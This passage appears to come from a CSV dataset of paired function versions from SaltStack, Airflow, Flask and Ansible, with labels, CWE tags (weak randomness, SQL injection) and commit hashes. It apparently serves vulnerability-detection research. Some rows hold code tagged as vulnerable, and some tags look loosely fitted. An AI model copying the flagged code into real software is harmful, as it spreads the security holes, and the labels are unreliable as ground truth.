                    if isinstance(old_bind, list):
                        old_bind.append(bind)
                    else:
                        binds[idx] = [old_bind, bind]
                else:
                    binds[idx] = bind
        return binds"
,UNKNOWN,UNKNOWN,salt/modules/mod_random.py,1,"def seed(range=10, hash=None):
    '''
    Returns a random number within a range. Optional hash argument can
    be any hashable object. If hash is omitted or None, the id of the minion is used.

    .. versionadded: Beryllium

    hash: None
        Any hashable object.

    range: 10
        Any valid integer number

    CLI Example:

    .. code-block:: bash

        salt '*' random.seed 10 hash=None
    '''
    if hash is None:
        hash = __grains__['id']

    random.seed(hash)
    return random.randrange(range)",CWE-330,saltstack/salt,d41ee6d4e057973cef569e7f1b5efbe51d9f5a38,"def seed(range=10, hash=None):
    '''
    Returns a random number within a range. Optional hash argument can
    be any hashable object. If hash is omitted or None, the id of the minion is used.

    .. versionadded: Beryllium

    hash: None
        Any hashable object.

    range: 10
        Any valid integer number

    CLI Example:

    .. code-block:: bash

        salt '*' random.rand_seed 'none' '10'
    '''
    if hash is None:
        hash = __grains__['id']

    random.seed(hash)
    return random.randrange(range)"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_assets.py,1,"def test_should_respond_200(self, test_client, session):
        self.create_assets()
        self.create_assets_events()
        self.create_dag_run()
        self.create_asset_dag_run()
        assets = session.query(AssetEvent).all()
        assert len(assets) == 2
        response = test_client.get(""/public/assets/events"")
        assert response.status_code == 200
        response_data = response.json()
        assert response_data == {
            ""asset_events"": [
                {
                    ""id"": 1,
                    ""asset_id"": 1,
                    ""uri"": ""s3://bucket/key/1"",
                    ""extra"": {""foo"": ""bar""},
                    ""group"": ""asset"",
                    ""name"": ""simple1"",
                    ""source_task_id"": ""source_task_id"",
                    ""source_dag_id"": ""source_dag_id"",
                    ""source_run_id"": ""source_run_id_1"",
                    ""source_map_index"": -1,
                    ""created_dagruns"": [
                        {
                            ""run_id"": ""source_run_id_1"",
                            ""dag_id"": ""source_dag_id"",
                            ""logical_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""start_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""end_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""state"": ""success"",
                            ""data_interval_start"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""data_interval_end"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                        }
                    ],
                    ""timestamp"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                },
                {
                    ""id"": 2,
                    ""asset_id"": 2,
                    ""uri"": ""s3://bucket/key/2"",
                    ""group"": ""asset"",
                    ""name"": ""simple2"",
                    ""extra"": {""foo"": ""bar""},
                    ""source_task_id"": ""source_task_id"",
                    ""source_dag_id"": ""source_dag_id"",
                    ""source_run_id"": ""source_run_id_2"",
                    ""source_map_index"": -1,
                    ""created_dagruns"": [
                        {
                            ""run_id"": ""source_run_id_2"",
                            ""dag_id"": ""source_dag_id"",
                            ""logical_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""start_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""end_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""state"": ""success"",
                            ""data_interval_start"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""data_interval_end"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                        }
                    ],
                    ""timestamp"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                },
            ],
            ""total_entries"": 2,
        }",CWE-703,apache/airflow,52fb4e0622d49e32529458b8a6bce6413fd06435,"def test_should_respond_200(self, test_client, session):
        self.create_assets()
        self.create_assets_events()
        self.create_dag_run()
        self.create_asset_dag_run()
        assets = session.query(AssetEvent).all()
        assert len(assets) == 2
        response = test_client.get(""/public/assets/events"")
        assert response.status_code == 200
        response_data = response.json()
        assert response_data == {
            ""asset_events"": [
                {
                    ""id"": 1,
                    ""asset_id"": 1,
                    ""extra"": {""foo"": ""bar""},
                    ""source_task_id"": ""source_task_id"",
                    ""source_dag_id"": ""source_dag_id"",
                    ""source_run_id"": ""source_run_id_1"",
                    ""source_map_index"": -1,
                    ""created_dagruns"": [
                        {
                            ""run_id"": ""source_run_id_1"",
                            ""dag_id"": ""source_dag_id"",
                            ""logical_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""start_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""end_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""state"": ""success"",
                            ""data_interval_start"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""data_interval_end"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                        }
                    ],
                    ""timestamp"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                },
                {
                    ""id"": 2,
                    ""asset_id"": 2,
                    ""extra"": {""foo"": ""bar""},
                    ""source_task_id"": ""source_task_id"",
                    ""source_dag_id"": ""source_dag_id"",
                    ""source_run_id"": ""source_run_id_2"",
                    ""source_map_index"": -1,
                    ""created_dagruns"": [
                        {
                            ""run_id"": ""source_run_id_2"",
                            ""dag_id"": ""source_dag_id"",
                            ""logical_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""start_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""end_date"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""state"": ""success"",
                            ""data_interval_start"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                            ""data_interval_end"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                        }
                    ],
                    ""timestamp"": from_datetime_to_zulu_without_ms(DEFAULT_DATE),
                },
            ],
            ""total_entries"": 2,
        }"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/modules/network_test.py,0,"def test_netstat(self):
        '''
        Test for return information on open ports and states
        '''
        with patch.dict(network.__grains__, {'kernel': 'Linux'}):
            with patch.object(salt.utils, 'which', return_value=True):
                with patch.object(network, '_netstat_linux', return_value='A'):
                    self.assertEqual(network.netstat(), 'A')

        with patch.dict(network.__grains__, {'kernel': 'OpenBSD'}):
            with patch.object(network, '_netstat_bsd', return_value='A'):
                self.assertEqual(network.netstat(), 'A')

        with patch.dict(network.__grains__, {'kernel': 'A'}):
            self.assertRaises(CommandExecutionError, network.netstat)",,saltstack/salt,51f7e107dc5b8f63d316da7fbb0a5a2368d8d66b,"def test_netstat(self):
        '''
        Test for return information on open ports and states
        '''
        with patch.dict(network.__grains__, {'kernel': 'Linux'}):
            with patch.object(network, '_netstat_linux', return_value='A'):
                self.assertEqual(network.netstat(), 'A')

        with patch.dict(network.__grains__, {'kernel': 'OpenBSD'}):
            with patch.object(network, '_netstat_bsd', return_value='A'):
                self.assertEqual(network.netstat(), 'A')

        with patch.dict(network.__grains__, {'kernel': 'A'}):
            self.assertRaises(CommandExecutionError, network.netstat)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/helpers.py,0,"def get_load_dotenv(default: bool = True) -> bool:
    """"""Get whether the user has disabled loading default dotenv files by
    setting :envvar:`FLASK_SKIP_DOTENV`. The default is ``True``, load
    the files.

    :param default: What to return if the env var isn't set.
    """"""
    val = os.environ.get(""FLASK_SKIP_DOTENV"")

    if not val:
        return default

    return val.lower() in (""0"", ""false"", ""no"")",,pallets/flask,176fdfa0002360670f698d3828cfff11f97349f0,"def get_load_dotenv(default: bool = True) -> bool:
    """"""Get whether the user has disabled loading default dotenv files by
    setting :envvar:`FLASK_SKIP_DOTENV`. The default is ``True``, load
    the files.

    :param default: What to return if the env var isn't set.
    """"""
    val = os.environ.get(""FLASK_SKIP_DOTENV"")

    if not val:
        return default

    return val.lower() in (""0"", ""false"", ""no"")"
,UNKNOWN,UNKNOWN,airflow/www/views.py,1,"def index(self):
        """"""Home view.""""""
        from airflow.models.dag import DagOwnerAttributes

        hide_paused_dags_by_default = conf.getboolean(""webserver"", ""hide_paused_dags_by_default"")
        default_dag_run = conf.getint(""webserver"", ""default_dag_run_display_number"")

        num_runs = request.args.get(""num_runs"", default=default_dag_run, type=int)
        current_page = request.args.get(""page"", default=0, type=int)
        arg_search_query = request.args.get(""search"")
        arg_tags_filter = request.args.getlist(""tags"")
        arg_status_filter = request.args.get(""status"")
        arg_sorting_key = request.args.get(""sorting_key"", ""dag_id"")
        arg_sorting_direction = request.args.get(""sorting_direction"", default=""asc"")

        if request.args.get(""reset_tags"") is not None:
            flask_session[FILTER_TAGS_COOKIE] = None
            # Remove the reset_tags=reset from the URL
            return redirect(url_for(""Airflow.index""))

        cookie_val = flask_session.get(FILTER_TAGS_COOKIE)
        if arg_tags_filter:
            flask_session[FILTER_TAGS_COOKIE] = "","".join(arg_tags_filter)
        elif cookie_val:
            # If tags exist in cookie, but not URL, add them to the URL
            return redirect(url_for(""Airflow.index"", tags=cookie_val.split("","")))

        if arg_status_filter is None:
            cookie_val = flask_session.get(FILTER_STATUS_COOKIE)
            if cookie_val:
                arg_status_filter = cookie_val
            else:
                arg_status_filter = ""active"" if hide_paused_dags_by_default else ""all""
                flask_session[FILTER_STATUS_COOKIE] = arg_status_filter
        else:
            status = arg_status_filter.strip().lower()
            flask_session[FILTER_STATUS_COOKIE] = status
            arg_status_filter = status

        dags_per_page = PAGE_SIZE

        start = current_page * dags_per_page
        end = start + dags_per_page

        # Get all the dag id the user could access
        filter_dag_ids = get_airflow_app().appbuilder.sm.get_accessible_dag_ids(g.user)

        with create_session() as session:
            # read orm_dags from the db
            dags_query = select(DagModel).where(~DagModel.is_subdag, DagModel.is_active)

            if arg_search_query:
                escaped_arg_search_query = arg_search_query.replace(""_"", r""\_"")
                dags_query = dags_query.where(
                    DagModel.dag_id.ilike(""%"" + escaped_arg_search_query + ""%"", escape=""\\"")
                    | DagModel.owners.ilike(""%"" + escaped_arg_search_query + ""%"", escape=""\\"")
                )

            if arg_tags_filter:
                dags_query = dags_query.where(DagModel.tags.any(DagTag.name.in_(arg_tags_filter)))

            dags_query = dags_query.where(DagModel.dag_id.in_(filter_dag_ids))
            filtered_dag_count = get_query_count(dags_query, session=session)
            if filtered_dag_count == 0 and len(arg_tags_filter):
                flash(
                    ""No matching DAG tags found."",
                    ""warning"",
                )
                flask_session[FILTER_TAGS_COOKIE] = None
                return redirect(url_for(""Airflow.index""))

            all_dags = dags_query
            active_dags = dags_query.where(~DagModel.is_paused)
            paused_dags = dags_query.where(DagModel.is_paused)

            # find DAGs which have a RUNNING DagRun
            running_dags = dags_query.join(DagRun, DagModel.dag_id == DagRun.dag_id).where(
                DagRun.state == DagRunState.RUNNING
            )

            # find DAGs for which the latest DagRun is FAILED
            subq_all = (
                select(DagRun.dag_id, func.max(DagRun.start_date).label(""start_date""))
                .group_by(DagRun.dag_id)
                .subquery()
            )
            subq_failed = (
                select(DagRun.dag_id, func.max(DagRun.start_date).label(""start_date""))
                .where(DagRun.state == DagRunState.FAILED)
                .group_by(DagRun.dag_id)
                .subquery()
            )
            subq_join = (
                select(subq_all.c.dag_id, subq_all.c.start_date)
                .join(
                    subq_failed,
                    and_(
                        subq_all.c.dag_id == subq_failed.c.dag_id,
                        subq_all.c.start_date == subq_failed.c.start_date,
                    ),
                )
                .subquery()
            )
            failed_dags = dags_query.join(subq_join, DagModel.dag_id == subq_join.c.dag_id)

            is_paused_count = dict(
                session.execute(
                    all_dags.with_only_columns([DagModel.is_paused, func.count()]).group_by(
                        DagModel.is_paused
                    )
                ).all()
            )

            status_count_active = is_paused_count.get(False, 0)
            status_count_paused = is_paused_count.get(True, 0)

            status_count_running = get_query_count(running_dags, session=session)
            status_count_failed = get_query_count(failed_dags, session=session)

            all_dags_count = status_count_active + status_count_paused
            if arg_status_filter == ""active"":
                current_dags = active_dags
                num_of_all_dags = status_count_active
            elif arg_status_filter == ""paused"":
                current_dags = paused_dags
                num_of_all_dags = status_count_paused
            elif arg_status_filter == ""running"":
                current_dags = running_dags
                num_of_all_dags = status_count_running
            elif arg_status_filter == ""failed"":
                current_dags = failed_dags
                num_of_all_dags = status_count_failed
            else:
                current_dags = all_dags
                num_of_all_dags = all_dags_count

            if arg_sorting_key == ""last_dagrun"":
                dag_run_subquery = (
                    select(
                        DagRun.dag_id,
                        sqla.func.max(DagRun.execution_date).label(""max_execution_date""),
                    )
                    .group_by(DagRun.dag_id)
                    .subquery()
                )
                current_dags = current_dags.outerjoin(
                    dag_run_subquery, and_(dag_run_subquery.c.dag_id == DagModel.dag_id)
                )
                null_case = case((dag_run_subquery.c.max_execution_date.is_(None), 1), else_=0)
                if arg_sorting_direction == ""desc"":
                    current_dags = current_dags.order_by(
                        null_case, dag_run_subquery.c.max_execution_date.desc()
                    )

                else:
                    current_dags = current_dags.order_by(null_case, dag_run_subquery.c.max_execution_date)

            else:
                sort_column = DagModel.__table__.c.get(arg_sorting_key)
                if sort_column is not None:
                    null_case = case((sort_column.is_(None), 1), else_=0)
                    if arg_sorting_direction == ""desc"":
                        current_dags = current_dags.order_by(null_case, sort_column.desc())
                    else:
                        current_dags = current_dags.order_by(null_case, sort_column)

            dags = (
                session.scalars(
                    current_dags.options(joinedload(DagModel.tags)).offset(start).limit(dags_per_page)
                )
                .unique()
                .all()
            )
            user_permissions = g.user.perms
            can_create_dag_run = (
                permissions.ACTION_CAN_CREATE,
                permissions.RESOURCE_DAG_RUN,
            ) in user_permissions

            dataset_triggered_dag_ids = {dag.dag_id for dag in dags if dag.schedule_interval == ""Dataset""}
            if dataset_triggered_dag_ids:
                dataset_triggered_next_run_info = get_dataset_triggered_next_run_info(
                    dataset_triggered_dag_ids, session=session
                )
            else:
                dataset_triggered_next_run_info = {}

            for dag in dags:
                dag.can_edit = get_airflow_app().appbuilder.sm.can_edit_dag(dag.dag_id, g.user)
                dag.can_trigger = dag.can_edit and can_create_dag_run
                dag.can_delete = get_airflow_app().appbuilder.sm.can_delete_dag(dag.dag_id, g.user)

            dagtags = session.execute(select(func.distinct(DagTag.name)).order_by(DagTag.name)).all()
            tags = [
                {""name"": name, ""selected"": bool(arg_tags_filter and name in arg_tags_filter)}
                for name, in dagtags
            ]

            owner_links_dict = DagOwnerAttributes.get_all(session)

            import_errors = select(errors.ImportError).order_by(errors.ImportError.id)

            if (permissions.ACTION_CAN_READ, permissions.RESOURCE_DAG) not in user_permissions:
                # if the user doesn't have access to all DAGs, only display errors from visible DAGs
                import_errors = import_errors.join(
                    DagModel, DagModel.fileloc == errors.ImportError.filename
                ).where(DagModel.dag_id.in_(filter_dag_ids))

            import_errors = session.scalars(import_errors)
            for import_error in import_errors:
                flash(
                    f""Broken DAG: [{import_error.filename}] {import_error.stacktrace}"",
                    ""dag_import_error"",
                )

        from airflow.plugins_manager import import_errors as plugin_import_errors

        for filename, stacktrace in plugin_import_errors.items():
            flash(
                f""Broken plugin: [{filename}] {stacktrace}"",
                ""error"",
            )

        num_of_pages = math.ceil(num_of_all_dags / dags_per_page)

        state_color_mapping = State.state_color.copy()
        state_color_mapping[""null""] = state_color_mapping.pop(None)

        page_title = conf.get(section=""webserver"", key=""instance_name"", fallback=""DAGs"")
        page_title_has_markup = conf.getboolean(
            section=""webserver"", key=""instance_name_has_markup"", fallback=False
        )

        dashboard_alerts = [
            fm for fm in settings.DASHBOARD_UIALERTS if fm.should_show(get_airflow_app().appbuilder.sm)
        ]

        def _iter_parsed_moved_data_table_names():
            for table_name in inspect(session.get_bind()).get_table_names():
                segments = table_name.split(""__"", 3)
                if len(segments) < 3:
                    continue
                if segments[0] != settings.AIRFLOW_MOVED_TABLE_PREFIX:
                    continue
                # Second segment is a version marker that we don't need to show.
                yield segments[-1], table_name

        if (
            permissions.ACTION_CAN_ACCESS_MENU,
            permissions.RESOURCE_ADMIN_MENU,
        ) in user_permissions and conf.getboolean(""webserver"", ""warn_deployment_exposure""):
            robots_file_access_count = (
                select(Log)
                .where(Log.event == ""robots"")
                .where(Log.dttm > (utcnow() - datetime.timedelta(days=7)))
            )
            robots_file_access_count = get_query_count(robots_file_access_count, session=session)
            if robots_file_access_count > 0:
                flash(
                    Markup(
                        ""Recent requests have been made to /robots.txt. ""
                        ""This indicates that this deployment may be accessible to the public internet. ""
                        ""This warning can be disabled by setting webserver.warn_deployment_exposure=False in ""
                        ""airflow.cfg. Read more about web deployment security <a href=""
                        f'""{get_docs_url(""security/webserver.html"")}"">'
                        ""here</a>""
                    ),
                    ""warning"",
                )

        return self.render_template(
            ""airflow/dags.html"",
            dags=dags,
            show_trigger_form_if_no_params=conf.getboolean(""webserver"", ""show_trigger_form_if_no_params""),
            dashboard_alerts=dashboard_alerts,
            migration_moved_data_alerts=sorted(set(_iter_parsed_moved_data_table_names())),
            current_page=current_page,
            search_query=arg_search_query if arg_search_query else """",
            page_title=Markup(page_title) if page_title_has_markup else page_title,
            page_size=dags_per_page,
            num_of_pages=num_of_pages,
            num_dag_from=min(start + 1, num_of_all_dags),
            num_dag_to=min(end, num_of_all_dags),
            num_of_all_dags=num_of_all_dags,
            paging=wwwutils.generate_pages(
                current_page,
                num_of_pages,
                search=escape(arg_search_query) if arg_search_query else None,
                status=arg_status_filter if arg_status_filter else None,
                tags=arg_tags_filter if arg_tags_filter else None,
                sorting_key=arg_sorting_key if arg_sorting_key else None,
                sorting_direction=arg_sorting_direction if arg_sorting_direction else None,
            ),
            num_runs=num_runs,
            tags=tags,
            owner_links=owner_links_dict,
            state_color=state_color_mapping,
            status_filter=arg_status_filter,
            status_count_all=all_dags_count,
            status_count_active=status_count_active,
            status_count_paused=status_count_paused,
            status_count_running=status_count_running,
            status_count_failed=status_count_failed,
            tags_filter=arg_tags_filter,
            sorting_key=arg_sorting_key,
            sorting_direction=arg_sorting_direction,
            auto_refresh_interval=conf.getint(""webserver"", ""auto_refresh_interval""),
            dataset_triggered_next_run_info=dataset_triggered_next_run_info,
        )",CWE-89,apache/airflow,99e6a439ae1b4c410dbcb2a12627aa7d68dfdea6,"def index(self):
        """"""Home view.""""""
        from airflow.models.dag import DagOwnerAttributes

        hide_paused_dags_by_default = conf.getboolean(""webserver"", ""hide_paused_dags_by_default"")
        default_dag_run = conf.getint(""webserver"", ""default_dag_run_display_number"")

        num_runs = request.args.get(""num_runs"", default=default_dag_run, type=int)
        current_page = request.args.get(""page"", default=0, type=int)
        arg_search_query = request.args.get(""search"")
        arg_tags_filter = request.args.getlist(""tags"")
        arg_status_filter = request.args.get(""status"")
        arg_sorting_key = request.args.get(""sorting_key"", ""dag_id"")
        arg_sorting_direction = request.args.get(""sorting_direction"", default=""asc"")

        if request.args.get(""reset_tags"") is not None:
            flask_session[FILTER_TAGS_COOKIE] = None
            # Remove the reset_tags=reset from the URL
            return redirect(url_for(""Airflow.index""))

        cookie_val = flask_session.get(FILTER_TAGS_COOKIE)
        if arg_tags_filter:
            flask_session[FILTER_TAGS_COOKIE] = "","".join(arg_tags_filter)
        elif cookie_val:
            # If tags exist in cookie, but not URL, add them to the URL
            return redirect(url_for(""Airflow.index"", tags=cookie_val.split("","")))

        if arg_status_filter is None:
            cookie_val = flask_session.get(FILTER_STATUS_COOKIE)
            if cookie_val:
                arg_status_filter = cookie_val
            else:
                arg_status_filter = ""active"" if hide_paused_dags_by_default else ""all""
                flask_session[FILTER_STATUS_COOKIE] = arg_status_filter
        else:
            status = arg_status_filter.strip().lower()
            flask_session[FILTER_STATUS_COOKIE] = status
            arg_status_filter = status

        dags_per_page = PAGE_SIZE

        start = current_page * dags_per_page
        end = start + dags_per_page

        # Get all the dag id the user could access
        filter_dag_ids = get_airflow_app().appbuilder.sm.get_accessible_dag_ids(g.user)

        with create_session() as session:
            # read orm_dags from the db
            dags_query = select(DagModel).where(~DagModel.is_subdag, DagModel.is_active)

            if arg_search_query:
                escaped_arg_search_query = arg_search_query.replace(""_"", r""\_"")
                dags_query = dags_query.where(
                    DagModel.dag_id.ilike(""%"" + escaped_arg_search_query + ""%"", escape=""\\"")
                    | DagModel.owners.ilike(""%"" + escaped_arg_search_query + ""%"", escape=""\\"")
                )

            if arg_tags_filter:
                dags_query = dags_query.where(DagModel.tags.any(DagTag.name.in_(arg_tags_filter)))

            dags_query = dags_query.where(DagModel.dag_id.in_(filter_dag_ids))
            filtered_dag_count = get_query_count(dags_query, session=session)
            if filtered_dag_count == 0 and len(arg_tags_filter):
                flash(
                    ""No matching DAG tags found."",
                    ""warning"",
                )
                flask_session[FILTER_TAGS_COOKIE] = None
                return redirect(url_for(""Airflow.index""))

            all_dags = dags_query
            active_dags = dags_query.where(~DagModel.is_paused)
            paused_dags = dags_query.where(DagModel.is_paused)

            # find DAGs which have a RUNNING DagRun
            running_dags = dags_query.join(DagRun, DagModel.dag_id == DagRun.dag_id).where(
                DagRun.state == DagRunState.RUNNING
            )

            # find DAGs for which the latest DagRun is FAILED
            subq_all = (
                select(DagRun.dag_id, func.max(DagRun.start_date).label(""start_date""))
                .group_by(DagRun.dag_id)
                .subquery()
            )
            subq_failed = (
                select(DagRun.dag_id, func.max(DagRun.start_date).label(""start_date""))
                .where(DagRun.state == DagRunState.FAILED)
                .group_by(DagRun.dag_id)
                .subquery()
            )
            subq_join = (
                select(subq_all.c.dag_id, subq_all.c.start_date)
                .join(
                    subq_failed,
                    and_(
                        subq_all.c.dag_id == subq_failed.c.dag_id,
                        subq_all.c.start_date == subq_failed.c.start_date,
                    ),
                )
                .subquery()
            )
            failed_dags = dags_query.join(subq_join, DagModel.dag_id == subq_join.c.dag_id)

            is_paused_count = dict(
                session.execute(
                    select(DagModel.is_paused, func.count(DagModel.dag_id)).group_by(DagModel.is_paused)
                ).all()
            )

            status_count_active = is_paused_count.get(False, 0)
            status_count_paused = is_paused_count.get(True, 0)

            status_count_running = get_query_count(running_dags, session=session)
            status_count_failed = get_query_count(failed_dags, session=session)

            all_dags_count = status_count_active + status_count_paused
            if arg_status_filter == ""active"":
                current_dags = active_dags
                num_of_all_dags = status_count_active
            elif arg_status_filter == ""paused"":
                current_dags = paused_dags
                num_of_all_dags = status_count_paused
            elif arg_status_filter == ""running"":
                current_dags = running_dags
                num_of_all_dags = status_count_running
            elif arg_status_filter == ""failed"":
                current_dags = failed_dags
                num_of_all_dags = status_count_failed
            else:
                current_dags = all_dags
                num_of_all_dags = all_dags_count

            if arg_sorting_key == ""last_dagrun"":
                dag_run_subquery = (
                    select(
                        DagRun.dag_id,
                        sqla.func.max(DagRun.execution_date).label(""max_execution_date""),
                    )
                    .group_by(DagRun.dag_id)
                    .subquery()
                )
                current_dags = current_dags.outerjoin(
                    dag_run_subquery, and_(dag_run_subquery.c.dag_id == DagModel.dag_id)
                )
                null_case = case((dag_run_subquery.c.max_execution_date.is_(None), 1), else_=0)
                if arg_sorting_direction == ""desc"":
                    current_dags = current_dags.order_by(
                        null_case, dag_run_subquery.c.max_execution_date.desc()
                    )

                else:
                    current_dags = current_dags.order_by(null_case, dag_run_subquery.c.max_execution_date)

            else:
                sort_column = DagModel.__table__.c.get(arg_sorting_key)
                if sort_column is not None:
                    null_case = case((sort_column.is_(None), 1), else_=0)
                    if arg_sorting_direction == ""desc"":
                        current_dags = current_dags.order_by(null_case, sort_column.desc())
                    else:
                        current_dags = current_dags.order_by(null_case, sort_column)

            dags = (
                session.scalars(
                    current_dags.options(joinedload(DagModel.tags)).offset(start).limit(dags_per_page)
                )
                .unique()
                .all()
            )
            user_permissions = g.user.perms
            can_create_dag_run = (
                permissions.ACTION_CAN_CREATE,
                permissions.RESOURCE_DAG_RUN,
            ) in user_permissions

            dataset_triggered_dag_ids = {dag.dag_id for dag in dags if dag.schedule_interval == ""Dataset""}
            if dataset_triggered_dag_ids:
                dataset_triggered_next_run_info = get_dataset_triggered_next_run_info(
                    dataset_triggered_dag_ids, session=session
                )
            else:
                dataset_triggered_next_run_info = {}

            for dag in dags:
                dag.can_edit = get_airflow_app().appbuilder.sm.can_edit_dag(dag.dag_id, g.user)
                dag.can_trigger = dag.can_edit and can_create_dag_run
                dag.can_delete = get_airflow_app().appbuilder.sm.can_delete_dag(dag.dag_id, g.user)

            dagtags = session.execute(select(func.distinct(DagTag.name)).order_by(DagTag.name)).all()
            tags = [
                {""name"": name, ""selected"": bool(arg_tags_filter and name in arg_tags_filter)}
                for name, in dagtags
            ]

            owner_links_dict = DagOwnerAttributes.get_all(session)

            import_errors = select(errors.ImportError).order_by(errors.ImportError.id)

            if (permissions.ACTION_CAN_READ, permissions.RESOURCE_DAG) not in user_permissions:
                # if the user doesn't have access to all DAGs, only display errors from visible DAGs
                import_errors = import_errors.join(
                    DagModel, DagModel.fileloc == errors.ImportError.filename
                ).where(DagModel.dag_id.in_(filter_dag_ids))

            import_errors = session.scalars(import_errors)
            for import_error in import_errors:
                flash(
                    f""Broken DAG: [{import_error.filename}] {import_error.stacktrace}"",
                    ""dag_import_error"",
                )

        from airflow.plugins_manager import import_errors as plugin_import_errors

        for filename, stacktrace in plugin_import_errors.items():
            flash(
                f""Broken plugin: [{filename}] {stacktrace}"",
                ""error"",
            )

        num_of_pages = math.ceil(num_of_all_dags / dags_per_page)

        state_color_mapping = State.state_color.copy()
        state_color_mapping[""null""] = state_color_mapping.pop(None)

        page_title = conf.get(section=""webserver"", key=""instance_name"", fallback=""DAGs"")
        page_title_has_markup = conf.getboolean(
            section=""webserver"", key=""instance_name_has_markup"", fallback=False
        )

        dashboard_alerts = [
            fm for fm in settings.DASHBOARD_UIALERTS if fm.should_show(get_airflow_app().appbuilder.sm)
        ]

        def _iter_parsed_moved_data_table_names():
            for table_name in inspect(session.get_bind()).get_table_names():
                segments = table_name.split(""__"", 3)
                if len(segments) < 3:
                    continue
                if segments[0] != settings.AIRFLOW_MOVED_TABLE_PREFIX:
                    continue
                # Second segment is a version marker that we don't need to show.
                yield segments[-1], table_name

        if (
            permissions.ACTION_CAN_ACCESS_MENU,
            permissions.RESOURCE_ADMIN_MENU,
        ) in user_permissions and conf.getboolean(""webserver"", ""warn_deployment_exposure""):
            robots_file_access_count = (
                select(Log)
                .where(Log.event == ""robots"")
                .where(Log.dttm > (utcnow() - datetime.timedelta(days=7)))
            )
            robots_file_access_count = get_query_count(robots_file_access_count, session=session)
            if robots_file_access_count > 0:
                flash(
                    Markup(
                        ""Recent requests have been made to /robots.txt. ""
                        ""This indicates that this deployment may be accessible to the public internet. ""
                        ""This warning can be disabled by setting webserver.warn_deployment_exposure=False in ""
                        ""airflow.cfg. Read more about web deployment security <a href=""
                        f'""{get_docs_url(""security/webserver.html"")}"">'
                        ""here</a>""
                    ),
                    ""warning"",
                )

        return self.render_template(
            ""airflow/dags.html"",
            dags=dags,
            show_trigger_form_if_no_params=conf.getboolean(""webserver"", ""show_trigger_form_if_no_params""),
            dashboard_alerts=dashboard_alerts,
            migration_moved_data_alerts=sorted(set(_iter_parsed_moved_data_table_names())),
            current_page=current_page,
            search_query=arg_search_query if arg_search_query else """",
            page_title=Markup(page_title) if page_title_has_markup else page_title,
            page_size=dags_per_page,
            num_of_pages=num_of_pages,
            num_dag_from=min(start + 1, num_of_all_dags),
            num_dag_to=min(end, num_of_all_dags),
            num_of_all_dags=num_of_all_dags,
            paging=wwwutils.generate_pages(
                current_page,
                num_of_pages,
                search=escape(arg_search_query) if arg_search_query else None,
                status=arg_status_filter if arg_status_filter else None,
                tags=arg_tags_filter if arg_tags_filter else None,
                sorting_key=arg_sorting_key if arg_sorting_key else None,
                sorting_direction=arg_sorting_direction if arg_sorting_direction else None,
            ),
            num_runs=num_runs,
            tags=tags,
            owner_links=owner_links_dict,
            state_color=state_color_mapping,
            status_filter=arg_status_filter,
            status_count_all=all_dags_count,
            status_count_active=status_count_active,
            status_count_paused=status_count_paused,
            status_count_running=status_count_running,
            status_count_failed=status_count_failed,
            tags_filter=arg_tags_filter,
            sorting_key=arg_sorting_key,
            sorting_direction=arg_sorting_direction,
            auto_refresh_interval=conf.getint(""webserver"", ""auto_refresh_interval""),
            dataset_triggered_next_run_info=dataset_triggered_next_run_info,
        )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/systemd_service.py,0,"def main():
    # initialize
    module = AnsibleModule(
        argument_spec=dict(
            name=dict(type='str', aliases=['service', 'unit']),
            state=dict(type='str', choices=['reloaded', 'restarted', 'started', 'stopped']),
            enabled=dict(type='bool'),
            force=dict(type='bool'),
            masked=dict(type='bool'),
            daemon_reload=dict(type='bool', default=False, aliases=['daemon-reload']),
            daemon_reexec=dict(type='bool', default=False, aliases=['daemon-reexec']),
            scope=dict(type='str', default='system', choices=['system', 'user', 'global']),
            no_block=dict(type='bool', default=False),
        ),
        supports_check_mode=True,
        required_one_of=[['state', 'enabled', 'masked', 'daemon_reload', 'daemon_reexec']],
        required_by=dict(
            state=('name', ),
            enabled=('name', ),
            masked=('name', ),
        ),
    )

    unit = module.params['name']
    if unit is not None:
        for globpattern in (r""*"", r""?"", r""[""):
            if globpattern in unit:
                module.fail_json(msg=""This module does not currently support using glob patterns, found '%s' in service name: %s"" % (globpattern, unit))

    systemctl = module.get_bin_path('systemctl', True)

    if os.getenv('XDG_RUNTIME_DIR') is None:
        os.environ['XDG_RUNTIME_DIR'] = '/run/user/%s' % os.geteuid()

    # Set CLI options depending on params
    # if scope is 'system' or None, we can ignore as there is no extra switch.
    # The other choices match the corresponding switch
    if module.params['scope'] != 'system':
        systemctl += "" --%s"" % module.params['scope']

    if module.params['no_block']:
        systemctl += "" --no-block""

    if module.params['force']:
        systemctl += "" --force""

    rc = 0
    out = err = ''
    result = dict(
        name=unit,
        changed=False,
        status=dict(),
    )

    # Run daemon-reload first, if requested
    if module.params['daemon_reload'] and not module.check_mode:
        (rc, out, err) = module.run_command(""%s daemon-reload"" % (systemctl))
        if rc != 0:
